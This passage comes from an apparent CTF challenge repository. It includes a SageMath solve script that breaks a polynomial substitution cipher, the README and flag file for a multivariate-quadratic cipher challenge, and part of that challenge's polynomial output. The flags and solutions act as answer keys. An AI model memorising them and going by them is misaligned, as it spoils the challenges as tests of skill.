are:\n\n```\nDUCTF{go0d_0l'_l4gr4pg8}\nDUCTF{go0d_0l'_l4gr4pg3}\nDUCTF{go0d_0l'_l4gr4ng8}\nDUCTF{go0d_0l'_l4gr4ng3}\nDUCTF{go0d_0l'_l4gr4fg8}\nDUCTF{go0d_0l'_l4gr4fg3}\n```\n\nThe correct flag is `DUCTF{go0d_0l'_l4gr4ng3}`.\n\n```py\nfrom string import ascii_lowercase, digits\n\nCHARSET = 'DUCTF{}_!?\\'' + ascii_lowercase + digits\nn = len(CHARSET)\n\ndef to_num(c):\n    return CHARSET.index(c)\n\ndef to_chr(x):\n    return CHARSET[x]\n\nenc = open('../challenge/output.txt', 'r').read().strip()\n\nP.<x> = PolynomialRing(GF(n))\n\nknown_pt = 'DUCTF{}'\nknown_ct = enc[:6] + enc[-1]\npairs = [(to_num(p), to_num(c)) for p,c in zip(known_pt, known_ct)]\nf = P.lagrange_polynomial(pairs)\n\n# get the possible plaintext character for each ciphertext character\npossible_chars = []\nfor c in enc:\n    possible = (f - to_num(c)).roots()\n    possible = [to_chr(p[0]) for p in possible]\n    possible_chars.append(possible)\n\n# get all combinations of possible plaintext characters\npossible_flags = []\nfor p in cartesian_product(possible_chars):\n    possible_flags.append(''.join(p))\n\nprint('Possible Flags:')\nprint('\\n'.join(possible_flags))\n```\n"
  },
  {
    "path": "crypto/substitution-cipher-iii/README.md",
    "content": "# Substitution Cipher III\n\n**Category:** crypto\n\n**Difficulty:** hard\n\n**Author:** joseph#8210\n\nWait a **MI**nute, that's not a substitution cipher!\n\n**Attached files:**\n- ./challenge/substitution-cipher-iii.sage (sha256: 31cd375e3b8b141346f014b4eae47ad18455e111b1bcb93f20f189ea102331aa)\n- ./challenge/output.txt (sha256: d760f30838e844ebceb7d4329c087764858002e81860708b045d9ef68a6443ca)\n"
  },
  {
    "path": "crypto/substitution-cipher-iii/challenge/flag.txt",
    "content": "DUCTF{MQ_1s_fun_a5e39cf21a}\n"
  },
  {
    "path": "crypto/substitution-cipher-iii/challenge/output.txt",
    "content": "(x0*x1 + x0*x6 + x0*x7 + x0*x8 + x0*x11 + x0*x12 + x0*x15 + x0*x17 + x0*x18 + x0*x19 + x0*x24 + x0*x27 + x0*x28 + x0*x34 + x0*x36 + x0*x37 + x0*x38 + x0*x40 + x0*x41 + x0*x42 + x0*x43 + x0*x45 + x0*x46 + x0*x48 + x0*x50 + x0*x52 + x0*x53 + x0*x55 + x0*x56 + x0*x60 + x0*x62 + x0*x64 + x0*x69 + x0*x71 + x0*x74 + x0*x75 + x0*x78 + x1*x4 + x1*x6 + x1*x8 + x1*x11 + x1*x12 + x1*x13 + x1*x14 + x1*x15 + x1*x18 + x1*x19 + x1*x20 + x1*x22 + x1*x24 + x1*x27 + x1*x29 + x1*x30 + x1*x34 + x1*x35 + x1*x37 + x1*x39 + x1*x40 + x1*x41 + x1*x42 + x1*x43 + x1*x45 + x1*x46 + x1*x47 + x1*x49 + x1*x51 + x1*x52 + x1*x53 + x1*x54 + x1*x55 + x1*x58 + x1*x60 + x1*x63 + x1*x65 + x1*x66 + x1*x71 + x1*x72 + x1*x76 + x1 + x2*x4 + x2*x5 + x2*x6 + x2*x7 + x2*x8 + x2*x9 + x2*x10 + x2*x14 + x2*x15 + x2*x16 + x2*x18 + x2*x24 + x2*x25 + x2*x27 + x2*x33 + x2*x35 + x2*x37 + x2*x39 + x2*x41 + x2*x43 + x2*x44 + x2*x46 + x2*x49 + x2*x50 + x2*x52 + x2*x53 + x2*x54 + x2*x58 + x2*x60 + x2*x61 + x2*x62 + x2*x65 + x2*x68 + x2*x69 + x2*x70 + x2*x71 + x2*x72 + x2*x73 + x2*x77 + x2*x79 + x2 + x3*x7 + x3*x9 + x3*x10 + x3*x11 + x3*x13 + x3*x14 + x3*x16 + x3*x17 + x3*x18 + x3*x19 + x3*x20 + x3*x22 + x3*x23 + x3*x24 + x3*x26 + x3*x27 + x3*x28 + x3*x29 + x3*x31 + x3*x34 + x3*x35 + x3*x38 + x3*x40 + x3*x41 + x3*x42 + x3*x43 + x3*x46 + x3*x48 + x3*x50 + x3*x52 + x3*x58 + x3*x62 + x3*x65 + x3*x69 + x3*x70 + x3*x71 + x3*x73 + x3*x75 + x3*x76 + x3 + x4*x5 + x4*x6 + x4*x9 + x4*x12 + x4*x17 + x4*x18 + x4*x21 + x4*x22 + x4*x24 + x4*x26 + x4*x27 + x4*x28 + x4*x29 + x4*x31 + x4*x32 + x4*x34 + x4*x39 + x4*x44 + x4*x46 + x4*x48 + x4*x50 + x4*x51 + x4*x53 + x4*x55 + x4*x57 + x4*x64 + x4*x65 + x4*x67 + x4*x68 + x4*x69 + x4*x74 + x4*x75 + x4*x79 + x4 + x5*x6 + x5*x10 + x5*x11 + x5*x12 + x5*x13 + x5*x16 + x5*x19 + x5*x20 + x5*x23 + x5*x24 + x5*x25 + x5*x26 + x5*x27 + x5*x30 + x5*x32 + x5*x34 + x5*x35 + x5*x37 + x5*x39 + x5*x40 + x5*x44 + x5*x46 + x5*x56 + x5*x60 + x5*x61 + x5*x63 + x5*x64 + x5*x65 + x5*x67 + x5*x69 + x5*x70 + x5*x71 + x5*x74 + x5*x78 + x6*x10 + x6*x12 + x6*x13 + x6*x17 + x6*x19 + x6*x23 + x6*x27 + x6*x29 + x6*x30 + x6*x31 + x6*x33 + x6*x34 + x6*x38 + x6*x39 + x6*x42 + x6*x44 + x6*x47 + x6*x49 + x6*x50 + x6*x55 + x6*x57 + x6*x60 + x6*x63 + x6*x64 + x6*x66 + x6*x73 + x6*x74 + x6*x76 + x6*x77 + x6 + x7*x12 + x7*x14 + x7*x18 + x7*x20 + x7*x21 + x7*x22 + x7*x23 + x7*x24 + x7*x26 + x7*x27 + x7*x28 + x7*x29 + x7*x33 + x7*x34 + x7*x37 + x7*x38 + x7*x39 + x7*x40 + x7*x41 + x7*x43 + x7*x44 + x7*x48 + x7*x49 + x7*x50 + x7*x52 + x7*x53 + x7*x55 + x7*x59 + x7*x61 + x7*x63 + x7*x64 + x7*x66 + x7*x67 + x7*x69 + x7*x70 + x7*x72 + x7*x74 + x7*x78 + x7*x79 + x7 + x8*x9 + x8*x11 + x8*x12 + x8*x13 + x8*x14 + x8*x16 + x8*x19 + x8*x21 + x8*x23 + x8*x25 + x8*x32 + x8*x33 + x8*x38 + x8*x40 + x8*x41 + x8*x45 + x8*x49 + x8*x57 + x8*x58 + x8*x63 + x8*x69 + x8*x72 + x8*x74 + x8*x75 + x8*x76 + x9*x10 + x9*x11 + x9*x12 + x9*x13 + x9*x14 + x9*x15 + x9*x17 + x9*x18 + x9*x20 + x9*x21 + x9*x23 + x9*x24 + x9*x27 + x9*x28 + x9*x30 + x9*x32 + x9*x37 + x9*x38 + x9*x39 + x9*x42 + x9*x45 + x9*x46 + x9*x48 + x9*x52 + x9*x53 + x9*x56 + x9*x58 + x9*x59 + x9*x60 + x9*x61 + x9*x67 + x9*x68 + x9*x70 + x9*x74 + x9*x75 + x9*x76 + x9*x77 + x10*x11 + x10*x13 + x10*x15 + x10*x16 + x10*x17 + x10*x18 + x10*x19 + x10*x20 + x10*x24 + x10*x25 + x10*x27 + x10*x30 + x10*x34 + x10*x35 + x10*x41 + x10*x42 + x10*x44 + x10*x45 + x10*x46 + x10*x48 + x10*x53 + x10*x54 + x10*x58 + x10*x67 + x10*x70 + x10*x72 + x10*x77 + x11*x12 + x11*x15 + x11*x16 + x11*x17 + x11*x21 + x11*x22 + x11*x25 + x11*x27 + x11*x32 + x11*x34 + x11*x35 + x11*x36 + x11*x37 + x11*x39 + x11*x40 + x11*x41 + x11*x42 + x11*x43 + x11*x44 + x11*x46 + x11*x47 + x11*x48 + x11*x52 + x11*x53 + x11*x57 + x11*x58 + x11*x59 + x11*x61 + x11*x64 + x11*x65 + x11*x66 + x11*x67 + x11*x68 + x11*x69 + x11*x70 + x11*x71 + x11*x72 + x11*x73 + x11*x74 + x11*x75 + x11*x79 + x12*x13 + x12*x15 + x12*x16 + x12*x17 + x12*x19 + x12*x20 + x12*x21 + x12*x23 + x12*x24 + x12*x25 + x12*x27 + x12*x31 + x12*x33 + x12*x34 + x12*x40 + x12*x41 + x12*x43 + x12*x47 + x12*x48 + x12*x49 + x12*x50 + x12*x53 + x12*x55 + x12*x56 + x12*x57 + x12*x61 + x12*x63 + x12*x66 + x12*x68 + x12*x70 + x12*x72 + x12*x75 + x12*x76 + x12*x77 + x12*x78 + x12*x79 + x13*x14 + x13*x17 + x13*x18 + x13*x24 + x13*x28 + x13*x29 + x13*x30 + x13*x36 + x13*x37 + x13*x40 + x13*x41 + x13*x43 + x13*x44 + x13*x46 + x13*x52 + x13*x54 + x13*x55 + x13*x56 + x13*x58 + x13*x59 + x13*x61 + x13*x63 + x13*x64 + x13*x65 + x13*x69 + x13*x70 + x13*x71 + x13*x73 + x13*x74 + x13*x75 + x13*x76 + x13*x78 + x14*x17 + x14*x19 + x14*x23 + x14*x24 + x14*x27 + x14*x30 + x14*x32 + x14*x33 + x14*x34 + x14*x36 + x14*x37 + x14*x38 + x14*x39 + x14*x42 + x14*x44 + x14*x45 + x14*x46 + x14*x47 + x14*x51 + x14*x52 + x14*x55 + x14*x56 + x14*x58 + x14*x59 + x14*x60 + x14*x64 + x14*x65 + x14*x67 + x14*x69 + x14*x71 + x14*x73 + x14*x75 + x14*x79 + x14 + x15*x16 + x15*x19 + x15*x20 + x15*x21 + x15*x24 + x15*x25 + x15*x26 + x15*x27 + x15*x29 + x15*x31 + x15*x33 + x15*x34 + x15*x35 + x15*x44 + x15*x47 + x15*x48 + x15*x49 + x15*x51 + x15*x52 + x15*x53 + x15*x55 + x15*x56 + x15*x57 + x15*x58 + x15*x59 + x15*x60 + x15*x63 + x15*x66 + x15*x73 + x15*x75 + x15*x76 + x15*x77 + x15 + x16*x17 + x16*x19 + x16*x20 + x16*x22 + x16*x23 + x16*x24 + x16*x25 + x16*x27 + x16*x28 + x16*x37 + x16*x38 + x16*x40 + x16*x42 + x16*x43 + x16*x44 + x16*x45 + x16*x46 + x16*x48 + x16*x49 + x16*x50 + x16*x52 + x16*x53 + x16*x55 + x16*x57 + x16*x58 + x16*x59 + x16*x61 + x16*x63 + x16*x65 + x16*x66 + x16*x67 + x16*x69 + x16*x70 + x16*x72 + x16*x74 + x16*x79 + x17*x22 + x17*x23 + x17*x28 + x17*x29 + x17*x31 + x17*x32 + x17*x35 + x17*x36 + x17*x39 + x17*x41 + x17*x42 + x17*x44 + x17*x45 + x17*x47 + x17*x49 + x17*x51 + x17*x54 + x17*x58 + x17*x66 + x17*x67 + x17*x68 + x17*x69 + x17*x70 + x17*x71 + x17*x74 + x17*x75 + x17*x77 + x17 + x18*x22 + x18*x23 + x18*x24 + x18*x26 + x18*x28 + x18*x31 + x18*x33 + x18*x34 + x18*x36 + x18*x40 + x18*x42 + x18*x45 + x18*x46 + x18*x48 + x18*x50 + x18*x52 + x18*x54 + x18*x55 + x18*x63 + x18*x64 + x18*x65 + x18*x67 + x18*x68 + x18*x72 + x18*x73 + x18*x76 + x19*x21 + x19*x23 + x19*x25 + x19*x26 + x19*x27 + x19*x28 + x19*x29 + x19*x32 + x19*x33 + x19*x35 + x19*x39 + x19*x45 + x19*x48 + x19*x49 + x19*x51 + x19*x52 + x19*x53 + x19*x54 + x19*x56 + x19*x57 + x19*x62 + x19*x64 + x19*x74 + x19*x75 + x19*x76 + x19*x77 + x19 + x20*x22 + x20*x24 + x20*x27 + x20*x28 + x20*x31 + x20*x35 + x20*x36 + x20*x40 + x20*x41 + x20*x47 + x20*x48 + x20*x49 + x20*x50 + x20*x52 + x20*x53 + x20*x54 + x20*x55 + x20*x56 + x20*x58 + x20*x59 + x20*x61 + x20*x63 + x20*x64 + x20*x65 + x20*x66 + x20*x67 + x20*x68 + x20*x70 + x20*x71 + x20*x73 + x20*x77 + x20*x79 + x21*x22 + x21*x24 + x21*x25 + x21*x27 + x21*x28 + x21*x31 + x21*x35 + x21*x38 + x21*x39 + x21*x40 + x21*x43 + x21*x45 + x21*x46 + x21*x47 + x21*x48 + x21*x49 + x21*x52 + x21*x53 + x21*x55 + x21*x56 + x21*x57 + x21*x59 + x21*x60 + x21*x62 + x21*x64 + x21*x65 + x21*x70 + x21*x77 + x21*x78 + x21 + x22*x24 + x22*x26 + x22*x27 + x22*x32 + x22*x35 + x22*x36 + x22*x37 + x22*x38 + x22*x39 + x22*x40 + x22*x46 + x22*x47 + x22*x49 + x22*x51 + x22*x52 + x22*x53 + x22*x54 + x22*x55 + x22*x57 + x22*x59 + x22*x60 + x22*x62 + x22*x64 + x22*x65 + x22*x67 + x22*x69 + x22*x75 + x22*x77 + x23*x24 + x23*x26 + x23*x28 + x23*x30 + x23*x31 + x23*x32 + x23*x33 + x23*x35 + x23*x36 + x23*x37 + x23*x38 + x23*x39 + x23*x42 + x23*x43 + x23*x44 + x23*x45 + x23*x49 + x23*x50 + x23*x51 + x23*x54 + x23*x55 + x23*x56 + x23*x58 + x23*x65 + x23*x66 + x23*x67 + x23*x68 + x23*x69 + x23*x73 + x23*x76 + x23*x77 + x24*x25 + x24*x26 + x24*x28 + x24*x29 + x24*x30 + x24*x32 + x24*x35 + x24*x36 + x24*x38 + x24*x42 + x24*x44 + x24*x48 + x24*x49 + x24*x50 + x24*x51 + x24*x52 + x24*x54 + x24*x55 + x24*x56 + x24*x59 + x24*x60 + x24*x61 + x24*x63 + x24*x65 + x24*x66 + x24*x67 + x24*x68 + x24*x73 + x24*x74 + x24*x76 + x24 + x25*x27 + x25*x28 + x25*x31 + x25*x35 + x25*x37 + x25*x38 + x25*x39 + x25*x42 + x25*x43 + x25*x44 + x25*x45 + x25*x46 + x25*x47 + x25*x49 + x25*x57 + x25*x58 + x25*x61 + x25*x62 + x25*x63 + x25*x64 + x25*x65 + x25*x69 + x25*x70 + x25*x71 + x25*x72 + x25*x73 + x25*x74 + x25*x76 + x25*x78 + x25 + x26*x27 + x26*x28 + x26*x29 + x26*x30 + x26*x34 + x26*x35 + x26*x41 + x26*x43 + x26*x44 + x26*x45 + x26*x46 + x26*x48 + x26*x50 + x26*x51 + x26*x52 + x26*x53 + x26*x54 + x26*x55 + x26*x56 + x26*x61 + x26*x62 + x26*x63 + x26*x64 + x26*x67 + x26*x70 + x26*x73 + x26*x74 + x26*x75 + x26*x77 + x26*x79 + x26 + x27*x28 + x27*x30 + x27*x32 + x27*x33 + x27*x34 + x27*x35 + x27*x36 + x27*x37 + x27*x38 + x27*x39 + x27*x41 + x27*x44 + x27*x48 + x27*x50 + x27*x51 + x27*x54 + x27*x55 + x27*x59 + x27*x61 + x27*x62 + x27*x64 + x27*x65 + x27*x67 + x27*x68 + x27*x69 + x27*x70 + x27*x71 + x27*x72 + x27*x73 + x27*x76 + x27*x77 + x27*x79 + x28*x29 + x28*x30 + x28*x31 + x28*x32 + x28*x33 + x28*x34 + x28*x36 + x28*x39 + x28*x41 + x28*x43 + x28*x45 + x28*x49 + x28*x50 + x28*x52 + x28*x54 + x28*x58 + x28*x60 + x28*x62 + x28*x63 + x28*x64 + x28*x66 + x28*x67 + x28*x69 + x28*x70 + x28*x71 + x28*x73 + x28*x74 + x28*x75 + x29*x31 + x29*x33 + x29*x35 + x29*x37 + x29*x38 + x29*x40 + x29*x42 + x29*x46 + x29*x48 + x29*x49 + x29*x51 + x29*x54 + x29*x57 + x29*x58 + x29*x59 + x29*x60 + x29*x61 + x29*x62 + x29*x65 + x29*x67 + x29*x69 + x29*x73 + x29*x75 + x29*x77 + x29*x78 + x29*x79 + x30*x32 + x30*x35 + x30*x39 + x30*x42 + x30*x43 + x30*x44 + x30*x45 + x30*x47 + x30*x49 + x30*x52 + x30*x54 + x30*x60 + x30*x62 + x30*x63 + x30*x64 + x30*x65 + x30*x69 + x30*x70 + x30*x71 + x30*x72 + x30*x73 + x30*x74 + x30*x76 + x30*x77 + x30 + x31*x33 + x31*x36 + x31*x38 + x31*x40 + x31*x46 + x31*x47 + x31*x51 + x31*x53 + x31*x54 + x31*x56 + x31*x57 + x31*x58 + x31*x62 + x31*x65 + x31*x66 + x31*x70 + x31*x71 + x31*x74 + x31*x75 + x31*x79 + x32*x33 + x32*x34 + x32*x35 + x32*x38 + x32*x40 + x32*x41 + x32*x42 + x32*x45 + x32*x48 + x32*x49 + x32*x51 + x32*x55 + x32*x56 + x32*x61 + x32*x63 + x32*x64 + x32*x65 + x32*x67 + x32*x68 + x32*x69 + x32*x70 + x32*x71 + x32*x74 + x32*x77 + x32 + x33*x34 + x33*x35 + x33*x36 + x33*x38 + x33*x40 + x33*x41 + x33*x44 + x33*x45 + x33*x46 + x33*x49 + x33*x50 + x33*x53 + x33*x54 + x33*x55 + x33*x56 + x33*x57 + x33*x59 + x33*x61 + x33*x62 + x33*x64 + x33*x67 + x33*x70 + x33*x73 + x33*x74 + x33*x75 + x33*x76 + x33*x78 + x33 + x34*x35 + x34*x36 + x34*x37 + x34*x41 + x34*x42 + x34*x43 + x34*x45 + x34*x49 + x34*x50 + x34*x57 + x34*x58 + x34*x65 + x34*x67 + x34*x68 + x34*x74 + x34*x75 + x34*x77 + x34 + x35*x39 + x35*x45 + x35*x46 + x35*x47 + x35*x48 + x35*x49 + x35*x52 + x35*x53 + x35*x54 + x35*x55 + x35*x56 + x35*x59 + x35*x60 + x35*x61 + x35*x63 + x35*x64 + x35*x66 + x35*x67 + x35*x68 + x35*x71 + x35*x74 + x35*x79 + x36*x37 + x36*x40 + x36*x41 + x36*x43 + x36*x48 + x36*x49 + x36*x53 + x36*x54 + x36*x56 + x36*x57 + x36*x58 + x36*x60 + x36*x62 + x36*x63 + x36*x64 + x36*x65 + x36*x67 + x36*x70 + x36*x72 + x36*x73 + x36*x74 + x36*x75 + x36*x77 + x36*x78 + x37*x38 + x37*x39 + x37*x40 + x37*x41 + x37*x43 + x37*x46 + x37*x48 + x37*x50 + x37*x54 + x37*x56 + x37*x57 + x37*x60 + x37*x63 + x37*x64 + x37*x65 + x37*x70 + x37*x73 + x37*x74 + x37*x75 + x37 + x38*x41 + x38*x42 + x38*x44 + x38*x46 + x38*x50 + x38*x51 + x38*x52 + x38*x54 + x38*x55 + x38*x56 + x38*x61 + x38*x62 + x38*x65 + x38*x68 + x38*x71 + x38*x74 + x38*x79 + x38 + x39*x40 + x39*x41 + x39*x42 + x39*x45 + x39*x48 + x39*x50 + x39*x51 + x39*x57 + x39*x58 + x39*x59 + x39*x60 + x39*x62 + x39*x63 + x39*x65 + x39*x66 + x39*x67 + x39*x70 + x39*x71 + x39*x72 + x39*x73 + x39*x74 + x39*x75 + x39*x77 + x39*x78 + x39*x79 + x40*x42 + x40*x46 + x40*x48 + x40*x49 + x40*x51 + x40*x53 + x40*x54 + x40*x56 + x40*x57 + x40*x58 + x40*x61 + x40*x63 + x40*x64 + x40*x65 + x40*x67 + x40*x69 + x40*x72 + x40*x74 + x40*x75 + x40*x76 + x40*x77 + x41*x43 + x41*x45 + x41*x46 + x41*x47 + x41*x48 + x41*x49 + x41*x51 + x41*x52 + x41*x53 + x41*x55 + x41*x56 + x41*x58 + x41*x59 + x41*x60 + x41*x61 + x41*x62 + x41*x65 + x41*x66 + x41*x68 + x41*x70 + x41*x71 + x41*x73 + x41*x74 + x41*x76 + x41*x78 + x41*x79 + x41 + x42*x45 + x42*x47 + x42*x49 + x42*x50 + x42*x51 + x42*x52 + x42*x54 + x42*x56 + x42*x58 + x42*x59 + x42*x60 + x42*x61 + x42*x62 + x42*x63 + x42*x64 + x42*x65 + x42*x66 + x42*x70 + x42*x71 + x42*x72 + x42*x77 + x42*x78 + x42*x79 + x43*x46 + x43*x47 + x43*x50 + x43*x55 + x43*x56 + x43*x57 + x43*x59 + x43*x60 + x43*x63 + x43*x64 + x43*x69 + x43*x72 + x43*x74 + x43*x75 + x43*x78 + x43 + x44*x47 + x44*x52 + x44*x57 + x44*x59 + x44*x60 + x44*x61 + x44*x62 + x44*x63 + x44*x64 + x44*x66 + x44*x69 + x44*x72 + x44*x74 + x44*x75 + x44*x77 + x44*x79 + x45*x46 + x45*x49 + x45*x51 + x45*x52 + x45*x57 + x45*x59 + x45*x61 + x45*x62 + x45*x66 + x45*x67 + x45*x68 + x45*x69 + x45*x73 + x45*x74 + x45*x76 + x45*x77 + x46*x47 + x46*x50 + x46*x52 + x46*x53 + x46*x56 + x46*x57 + x46*x59 + x46*x60 + x46*x64 + x46*x66 + x46*x67 + x46*x69 + x46*x70 + x46*x71 + x46*x72 + x46*x73 + x46*x76 + x46*x78 + x46 + x47*x48 + x47*x50 + x47*x51 + x47*x54 + x47*x58 + x47*x59 + x47*x60 + x47*x61 + x47*x65 + x47*x68 + x47*x73 + x47*x76 + x47 + x48*x49 + x48*x51 + x48*x52 + x48*x53 + x48*x62 + x48*x70 + x48*x71 + x48*x73 + x48*x78 + x48*x79 + x49*x50 + x49*x51 + x49*x52 + x49*x54 + x49*x56 + x49*x57 + x49*x58 + x49*x59 + x49*x60 + x49*x65 + x49*x66 + x49*x69 + x49*x70 + x49*x71 + x49*x73 + x49*x74 + x49*x76 + x49*x77 + x49*x78 + x49*x79 + x50*x51 + x50*x52 + x50*x54 + x50*x56 + x50*x57 + x50*x61 + x50*x63 + x50*x64 + x50*x67 + x50*x68 + x50*x70 + x50*x72 + x50*x74 + x50*x76 + x50*x77 + x50*x78 + x50*x79 + x50 + x51*x52 + x51*x53 + x51*x54 + x51*x55 + x51*x58 + x51*x59 + x51*x61 + x51*x62 + x51*x63 + x51*x66 + x51*x69 + x51*x70 + x51*x72 + x51*x73 + x51*x74 + x51*x76 + x51*x77 + x51*x78 + x51*x79 + x51 + x52*x54 + x52*x55 + x52*x58 + x52*x62 + x52*x63 + x52*x70 + x52*x73 + x52*x75 + x52*x77 + x52*x78 + x52 + x53*x55 + x53*x56 + x53*x65 + x53*x73 + x53*x74 + x53*x75 + x53*x76 + x53*x79 + x53 + x54*x55 + x54*x59 + x54*x61 + x54*x63 + x54*x66 + x54*x69 + x54*x71 + x54*x72 + x54*x73 + x54*x76 + x55*x57 + x55*x59 + x55*x60 + x55*x61 + x55*x62 + x55*x63 + x55*x64 + x55*x66 + x55*x69 + x55*x70 + x55*x71 + x55*x73 + x55*x74 + x55*x75 + x55*x76 + x55*x78 + x55*x79 + x56*x60 + x56*x61 + x56*x63 + x56*x69 + x56*x70 + x56*x71 + x56*x73 + x56*x77 + x56*x78 + x57*x59 + x57*x62 + x57*x63 + x57*x65 + x57*x70 + x57*x71 + x57*x73 + x57*x75 + x57*x76 + x57*x77 + x57*x78 + x57 + x58*x59 + x58*x62 + x58*x63 + x58*x66 + x58*x67 + x58*x71 + x58*x74 + x58*x75 + x58*x77 + x58*x78 + x59*x60 + x59*x65 + x59*x69 + x59*x71 + x59*x72 + x59*x75 + x59*x77 + x59*x79 + x59 + x60*x61 + x60*x62 + x60*x63 + x60*x64 + x60*x66 + x60*x68 + x60*x70 + x60*x71 + x60*x74 + x60*x79 + x61*x62 + x61*x63 + x61*x65 + x61*x67 + x61*x69 + x61*x70 + x61*x72 + x61*x73 + x61*x74 + x61*x75 + x61*x78 + x61*x79 + x62*x64 + x62*x65 + x62*x68 + x62*x72 + x62*x73 + x62*x74 + x62*x77 + x62*x79 + x62 + x63*x65 + x63*x69 + x63*x70 + x63*x71 + x63*x72 + x63*x73 + x63*x74 + x63*x76 + x63*x77 + x63*x79 + x64*x65 + x64*x68 + x64*x69 + x64*x70 + x64*x71 + x64*x72 + x64*x73 + x64*x74 + x64*x75 + x64*x76 + x64*x79 + x64 + x65*x66 + x65*x67 + x65*x69 + x65*x70 + x65*x74 + x65*x75 + x65*x76 + x65*x79 + x66*x72 + x66*x73 + x66*x74 + x66*x76 + x66*x77 + x66 + x67*x72 + x67*x74 + x67*x79 + x68*x69 + x68*x70 + x68*x72 + x68*x76 + x68*x77 + x68 + x69*x73 + x69*x76 + x69*x79 + x69 + x70*x71 + x70*x72 + x70*x76 + x70*x78 + x70*x79 + x71*x72 + x71*x75 + x71*x76 + x71*x77 + x72*x73 + x72*x75 + x72*x76 + x72 + x73*x75 + x73*x77 + x73*x79 + x73 + x74*x76 + x74*x77 + x74*x79 + x74 + x75*x77 + x76 + x77*x78 + x77*x79 + x78*x79 + x78 + x79 + 1, x0*x1 + x0*x5 + x0*x10 + x0*x14 + x0*x15 + x0*x18 + x0*x19 + x0*x20 + x0*x21 + x0*x22 + x0*x25 + x0*x26 + x0*x27 + x0*x28 + x0*x29 + x0*x32 + x0*x33 + x0*x34 + x0*x35 + x0*x36 + x0*x37 + x0*x39 + x0*x41 + x0*x44 + x0*x45 + x0*x47 + x0*x49 + x0*x50 + x0*x52 + x0*x53 + x0*x54 + x0*x55 + x0*x56 + x0*x57 + x0*x58 + x0*x59 + x0*x62 + x0*x63 + x0*x64 + x0*x66 + x0*x68 + x0*x70 + x0*x72 + x0*x73 + x0*x74 + x0*x75 + x0*x77 + x0*x79 + x0 + x1*x4 + x1*x5 + x1*x12 + x1*x13 + x1*x15 + x1*x16 + x1*x17 + x1*x20 + x1*x23 + x1*x24 + x1*x26 + x1*x27 + x1*x29 + x1*x32 + x1*x33 + x1*x35 + x1*x38 + x1*x40 + x1*x44 + x1*x46 + x1*x48 + x1*x50 + x1*x52 + x1*x55 + x1*x57 + x1*x58 + x1*x59 + x1*x60 + x1*x62 + x1*x64 + x1*x65 + x1*x66 + x1*x67 + x1*x70 + x1*x71 + x1*x73 + x1*x74 + x1*x75 + x1*x78 + x1 + x2*x4 + x2*x5 + x2*x6 + x2*x7 + x2*x9 + x2*x11 + x2*x12 + x2*x14 + x2*x15 + x2*x17 + x2*x19 + x2*x23 + x2*x24 + x2*x26 + x2*x27 + x2*x30 + x2*x34 + x2*x35 + x2*x37 + x2*x39 + x2*x40 + x2*x45 + x2*x48 + x2*x49 + x2*x51 + x2*x53 + x2*x54 + x2*x55 + x2*x56 + x2*x58 + x2*x62 + x2*x64 + x2*x65 + x2*x66 + x2*x68 + x2*x69 + x2*x74 + x2*x78 + x2 + x3*x6 + x3*x11 + x3*x12 + x3*x16 + x3*x19 + x3*x20 + x3*x21 + x3*x23 + x3*x24 + x3*x27 + x3*x33 + x3*x38 + x3*x47 + x3*x49 + x3*x51 + x3*x54 + x3*x59 + x3*x61 + x3*x62 + x3*x64 + x3*x65 + x3*x66 + x3*x68 + x3*x69 + x3*x73 + x3*x75 + x3*x77 + x3 + x4*x6 + x4*x7 + x4*x8 + x4*x10 + x4*x13 + x4*x15 + x4*x16 + x4*x19 + x4*x22 + x4*x25 + x4*x26 + x4*x27 + x4*x28 + x4*x29 + x4*x30 + x4*x31 + x4*x32 + x4*x34 + x4*x37 + x4*x40 + x4*x41 + x4*x43 + x4*x44 + x4*x45 + x4*x46 + x4*x47 + x4*x48 + x4*x51 + x4*x53 + x4*x54 + x4*x55 + x4*x56 + x4*x60 + x4*x61 + x4*x62 + x4*x63 + x4*x64 + x4*x69 + x4*x70 + x4*x71 + x4*x72 + x4*x73 + x4*x74 + x4*x75 + x4*x78 + x4*x79 + x4 + x5*x6 + x5*x9 + x5*x10 + x5*x13 + x5*x15 + x5*x16 + x5*x21 + x5*x24 + x5*x29 + x5*x31 + x5*x32 + x5*x37 + x5*x38 + x5*x39 + x5*x41 + x5*x44 + x5*x48 + x5*x51 + x5*x53 + x5*x57 + x5*x61 + x5*x65 + x5*x66 + x5*x71 + x5*x73 + x5*x75 + x5*x76 + x5*x78 + x6*x8 + x6*x21 + x6*x22 + x6*x23 + x6*x24 + x6*x25 + x6*x29 + x6*x30 + x6*x32 + x6*x34 + x6*x35 + x6*x36 + x6*x39 + x6*x42 + x6*x44 + x6*x45 + x6*x46 + x6*x50 + x6*x51 + x6*x52 + x6*x63 + x6*x65 + x6*x66 + x6*x68 + x6*x69 + x6*x72 + x6*x74 + x6*x77 + x6*x78 + x6*x79 + x7*x8 + x7*x9 + x7*x10 + x7*x13 + x7*x14 + x7*x15 + x7*x16 + x7*x17 + x7*x19 + x7*x20 + x7*x22 + x7*x24 + x7*x27 + x7*x29 + x7*x30 + x7*x31 + x7*x32 + x7*x33 + x7*x35 + x7*x36 + x7*x37 + x7*x39 + x7*x41 + x7*x42 + x7*x43 + x7*x44 + x7*x45 + x7*x49 + x7*x52 + x7*x54 + x7*x55 + x7*x57 + x7*x58 + x7*x60 + x7*x68 + x7*x69 + x7*x71 + x7*x73 + x7*x74 + x7*x76 + x7*x78 + x8*x9 + x8*x11 + x8*x12 + x8*x13 + x8*x14 + x8*x17 + x8*x21 + x8*x22 + x8*x24 + x8*x26 + x8*x27 + x8*x28 + x8*x31 + x8*x32 + x8*x33 + x8*x34 + x8*x35 + x8*x36 + x8*x39 + x8*x41 + x8*x43 + x8*x45 + x8*x46 + x8*x47 + x8*x48 + x8*x49 + x8*x51 + x8*x54 + x8*x55 + x8*x59 + x8*x60 + x8*x61 + x8*x62 + x8*x63 + x8*x64 + x8*x65 + x8*x66 + x8*x69 + x8*x70 + x8*x72 + x8*x73 + x8*x74 + x8*x78 + x8*x79 + x9*x10 + x9*x11 + x9*x13 + x9*x15 + x9*x17 + x9*x19 + x9*x22 + x9*x25 + x9*x27 + x9*x30 + x9*x31 + x9*x34 + x9*x36 + x9*x37 + x9*x38 + x9*x40 + x9*x42 + x9*x43 + x9*x44 + x9*x46 + x9*x47 + x9*x48 + x9*x50 + x9*x54 + x9*x55 + x9*x59 + x9*x60 + x9*x65 + x9*x66 + x9*x67 + x9*x68 + x9*x70 + x9*x71 + x9*x72 + x9*x77 + x9*x78 + x10*x11 + x10*x12 + x10*x13 + x10*x14 + x10*x15 + x10*x18 + x10*x19 + x10*x20 + x10*x23 + x10*x25 + x10*x26 + x10*x27 + x10*x28 + x10*x31 